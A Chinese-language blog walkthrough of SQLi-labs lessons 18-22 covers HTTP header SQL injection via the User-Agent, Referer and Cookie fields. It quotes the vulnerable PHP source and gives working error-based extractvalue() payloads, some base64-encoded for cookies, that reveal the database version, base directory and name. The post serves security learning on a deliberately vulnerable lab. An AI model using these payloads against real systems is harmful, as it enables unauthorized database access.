Sqli-labs Less18-22 HTTP 头注入 POST

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 18: POSt - Header injection- Uagent field - Error vased

  1. 测试漏洞

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    mysql_query($insert);
    
    # Ip 地址我们这里修改不是很方便,但是useragent 修改较为方便,我们从 user-agent 入手我们利用 burpsuite 进行抓包改包
    

    在浏览器输入正确的用户名和密码 admin:admin

    使用 burpsuite 进行截断,之后修改 HTTP 头的 User-Agent

    结果在浏览器显示出了 User-Agent

  2. User-Agent 注入

    User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
    

    低版本的 mysql 不支持这个 extractvalue() 函数

Less - 19: POSt - Header Injection - Referer field - Error basesd

  1. 测试漏洞

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
    mysql_query($insert);
    
    # Ip 地址我们这里修改不是很方便,但是 referer 修改较为方便,我们从 referer 入手我们利用 burpsuite 进行抓包改包
    

    在浏览器输入正确的用户名和密码 admin:admin

    使用 burpsuite 进行截断,之后修改 HTTP 头的 referer

    结果在浏览器显示出了 referer

  2. Referer 注入

    Referer: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
    

    低版本的 mysql 不支持这个 extractvalue() 函数

Less - 20: POST - Cookie Injection - Uagent field - Error based

  1. 测试漏洞

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    $cookee = $row1['username'];
        if($row1)
            {
            setcookie('uname', $cookee, time()+3600);
            header ('Location: index.php');
            }
    
    
    # 从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。
    # 登录成功后,我们修改 cookie,再次刷新时,这时候sql 语句就会被修改了。我们使用 temper data 进行演示。
    

    在浏览器输入正确的用户名和密码 admin:admin

    修改 cookie 值为

    uname=1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
    

    结果显示为版本号。

    使用 burpsuite-reperter 抓包添加一行 cookie 值

  1. 测试漏洞

    本关对 cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
            if($row1)
                {
                setcookie('uname', base64_encode($row1['username']), time()+3600);
                header ('Location: index.php');
                }
    

    我们这里可以利用 less20 同样的方法,但是需要将 payload 进行 base64 编码处理(注意这里对uname 进行了(‘uname’)的处理)

    Cookie:

    uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

    在浏览器输入正确的用户名和密码 admin:admin

    修改 cookie 值为

    uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
    

    结果显示为版本号。

  1. 测试漏洞

    本关对cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
            if($row1)
                {
                setcookie('uname', base64_encode($row1['username']), time()+3600);
                header ('Location: index.php');
                }
    

    本关和 less20、less21 是一致的,我们可以从源代码中看到这里对 uname 进行了 ”uname” 的处理,可以构造payload:

    admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
    
    # base64 编码之后:
    
    cookie: YWRtaW4xImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM=    
    

    Payload 进行 base64 编码后,修改 cookie 再进行提交

    可以看到数据库名为 security

    其他的payload 请自行发散思维进行构造。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值